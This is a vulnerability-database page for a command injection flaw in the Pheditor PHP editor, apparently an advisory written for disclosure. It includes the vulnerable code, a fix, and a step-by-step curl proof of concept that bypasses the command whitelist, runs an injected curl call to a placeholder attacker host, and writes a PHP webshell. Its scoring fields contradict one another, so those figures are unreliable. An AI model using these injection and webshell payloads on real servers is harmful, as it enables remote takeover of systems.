CVE-2026-48030

CRITICALPre-NVD 9.99.9
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.2%, top 63% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
9.9
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 9.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter

Summary

An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.

Details

The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only — $dir is passed to shell_exec() without any sanitization.

Vulnerable code (pheditor.php, line 554–586):

$command = $_POST['command'];  // ✓ metacharacters checked
$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable

if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) { die(...); // only guards $command, not $dir }

$output = shell_exec( (empty($dir) ? null : 'cd ' . $dir . ' && ') . $command . ' && echo \ ; pwd' // ← $dir injected here );

An attacker sends dir=/tmp; curl attacker.com # — the semicolon in $dir is never checked, so the injected command executes freely.

Fix: replace $dir with escapeshellarg($dir) on line 586.

PoC

Requirements: valid credentials, terminal permission enabled (default)

Step 1 — Authenticate:

curl -c cookies.txt -X POST http://TARGET/pheditor.php \
  -d "pheditor_password=admin" -L > /dev/null

Step 2 — Get CSRF token:

TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

Step 3 — Confirm curl is blocked via command field:

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=curl https://ifconfig.me" \
  --data-urlencode "dir=/tmp"

→ {"error":true,"message":"Command not allowed"}

Step 4 — Bypass whitelist via dir injection:

TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
  grep -o 'token = "[a-f0-9]*"' | \
  grep -o '"[a-f0-9]*"' | tr -d '"')

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode "command=ls" \ --data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"

→ {"error":false,"message":"OK","dir":""}

Step 5 — Full RCE via webshell:

curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls" \
  --data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"

curl "http://TARGET/shell.php?c=id"

→ uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:

  • Execute arbitrary OS commands as the web server user
  • Bypass the TERMINAL_COMMANDS whitelist entirely
  • Deploy persistent PHP webshells to the webroot
  • Read, write, or delete any file accessible to the web server
  • Potentially compromise other applications on the same server

CVSS v3
9.9
EG Score
9.9(low)
EPSS
37.0%
KEV
Not listed

Published

June 9, 2026

Last Modified

June 9, 2026

Vendor Advisories for CVE-2026-48030(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFixed inDependents
pheditor/pheditor2.0.1, 2.0.2, 2.0.32.0.4

Data Freshness Timeline

(refreshed 31× in last 7d / 158× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 158 total refreshes for this CVE.

  1. 2026-07-06 02:39 UTCEG score recompute
  2. 2026-07-05 22:57 UTCEG score recompute
  3. 2026-07-05 19:19 UTCEG score recompute
  4. 2026-07-05 15:39 UTCEG score recompute
  5. 2026-07-05 12:01 UTCEG score recompute
  6. 2026-07-05 02:44 UTCEG score recompute
  7. 2026-07-04 23:05 UTCEG score recompute
  8. 2026-07-04 19:27 UTCEG score recompute
  9. 2026-07-04 12:51 UTCEG score recompute
  10. 2026-07-03 22:52 UTCEG score recompute
  11. 2026-07-03 19:05 UTCEG score recompute
  12. 2026-07-03 15:28 UTCEG score recompute
  13. 2026-07-03 08:38 UTCEG score recompute
  14. 2026-07-03 01:22 UTCEG score recompute
  15. 2026-07-02 21:39 UTCEG score recompute
  16. 2026-07-02 18:01 UTCEG score recompute
  17. 2026-07-02 13:57 UTCEG score recompute
  18. 2026-07-02 10:19 UTCEG score recompute
  19. 2026-07-02 06:41 UTCEG score recompute
  20. 2026-07-02 03:03 UTCEG score recompute
  21. 2026-07-01 23:24 UTCEG score recompute
  22. 2026-07-01 19:46 UTCEG score recompute
  23. 2026-07-01 16:08 UTCEG score recompute
  24. 2026-07-01 12:31 UTCEG score recompute
  25. 2026-07-01 08:52 UTCEG score recompute
Show 75 more
  1. 2026-07-01 05:13 UTCEG score recompute
  2. 2026-07-01 01:09 UTCEG score recompute
  3. 2026-06-30 21:31 UTCEG score recompute
  4. 2026-06-30 17:45 UTCEG score recompute
  5. 2026-06-30 13:45 UTCEG score recompute
  6. 2026-06-30 09:37 UTCEG score recompute
  7. 2026-06-30 05:58 UTCEG score recompute
  8. 2026-06-30 02:19 UTCEG score recompute
  9. 2026-06-29 22:41 UTCEG score recompute
  10. 2026-06-29 19:00 UTCEG score recompute
  11. 2026-06-29 14:16 UTCEG score recompute
  12. 2026-06-29 10:34 UTCEG score recompute
  13. 2026-06-29 06:53 UTCEG score recompute
  14. 2026-06-29 02:35 UTCEG score recompute
  15. 2026-06-28 22:52 UTCEG score recompute
  16. 2026-06-28 19:14 UTCEG score recompute
  17. 2026-06-28 15:36 UTCEG score recompute
  18. 2026-06-28 11:57 UTCEG score recompute
  19. 2026-06-28 08:20 UTCEG score recompute
  20. 2026-06-28 04:42 UTCEG score recompute
  21. 2026-06-28 01:03 UTCEG score recompute
  22. 2026-06-27 21:21 UTCEG score recompute
  23. 2026-06-27 17:43 UTCEG score recompute
  24. 2026-06-27 14:05 UTCEG score recompute
  25. 2026-06-27 10:19 UTCEG score recompute
  26. 2026-06-27 06:41 UTCEG score recompute
  27. 2026-06-27 03:02 UTCEG score recompute
  28. 2026-06-26 23:23 UTCEG score recompute
  29. 2026-06-26 19:44 UTCEG score recompute
  30. 2026-06-26 16:06 UTCEG score recompute
  31. 2026-06-26 12:27 UTCEG score recompute
  32. 2026-06-26 03:04 UTCEG score recompute
  33. 2026-06-25 23:26 UTCEG score recompute
  34. 2026-06-25 19:48 UTCEG score recompute
  35. 2026-06-25 16:10 UTCEG score recompute
  36. 2026-06-25 12:31 UTCEG score recompute
  37. 2026-06-25 08:53 UTCEG score recompute
  38. 2026-06-25 05:15 UTCEG score recompute
  39. 2026-06-25 00:35 UTCEG score recompute
  40. 2026-06-24 20:56 UTCEG score recompute
  41. 2026-06-24 13:36 UTCEG score recompute
  42. 2026-06-24 08:34 UTCEG score recompute
  43. 2026-06-24 04:56 UTCEG score recompute
  44. 2026-06-24 00:57 UTCEG score recompute
  45. 2026-06-23 21:19 UTCEG score recompute
  46. 2026-06-23 17:13 UTCEG score recompute
  47. 2026-06-23 13:10 UTCEG score recompute
  48. 2026-06-23 08:58 UTCEG score recompute
  49. 2026-06-23 01:53 UTCEG score recompute
  50. 2026-06-22 22:15 UTCEG score recompute
  51. 2026-06-22 18:36 UTCEG score recompute
  52. 2026-06-22 13:19 UTCEG score recompute
  53. 2026-06-22 09:00 UTCEG score recompute
  54. 2026-06-22 04:30 UTCEG score recompute
  55. 2026-06-21 19:16 UTCEG score recompute
  56. 2026-06-21 14:22 UTCEG score recompute
  57. 2026-06-21 10:10 UTCEG score recompute
  58. 2026-06-21 05:20 UTCEG score recompute
  59. 2026-06-21 01:35 UTCEG score recompute
  60. 2026-06-20 21:19 UTCEG score recompute
  61. 2026-06-20 14:31 UTCEG score recompute
  62. 2026-06-20 10:53 UTCEG score recompute
  63. 2026-06-20 07:15 UTCEG score recompute
  64. 2026-06-20 02:57 UTCEG score recompute
  65. 2026-06-19 23:17 UTCEG score recompute
  66. 2026-06-19 19:35 UTCEG score recompute
  67. 2026-06-19 15:55 UTCEG score recompute
  68. 2026-06-19 12:11 UTCEG score recompute
  69. 2026-06-19 08:23 UTCEG score recompute
  70. 2026-06-19 03:26 UTCEG score recompute
  71. 2026-06-18 23:35 UTCEG score recompute
  72. 2026-06-18 19:32 UTCEG score recompute
  73. 2026-06-18 15:53 UTCEG score recompute
  74. 2026-06-18 11:23 UTCEG score recompute
  75. 2026-06-18 07:40 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-48030?
CVE-2026-48030 is a critical vulnerability published on June 9, 2026. Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter Summary An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely…
When was CVE-2026-48030 disclosed?
CVE-2026-48030 was first published in the National Vulnerability Database on June 9, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-48030 actively exploited?
CVE-2026-48030 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 37.0% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-48030?
CVE-2026-48030 has a CVSS v4.0 base score of 9.9 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48030?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48030, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-48030

Explore →

Is Your Infrastructure Affected by CVE-2026-48030?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.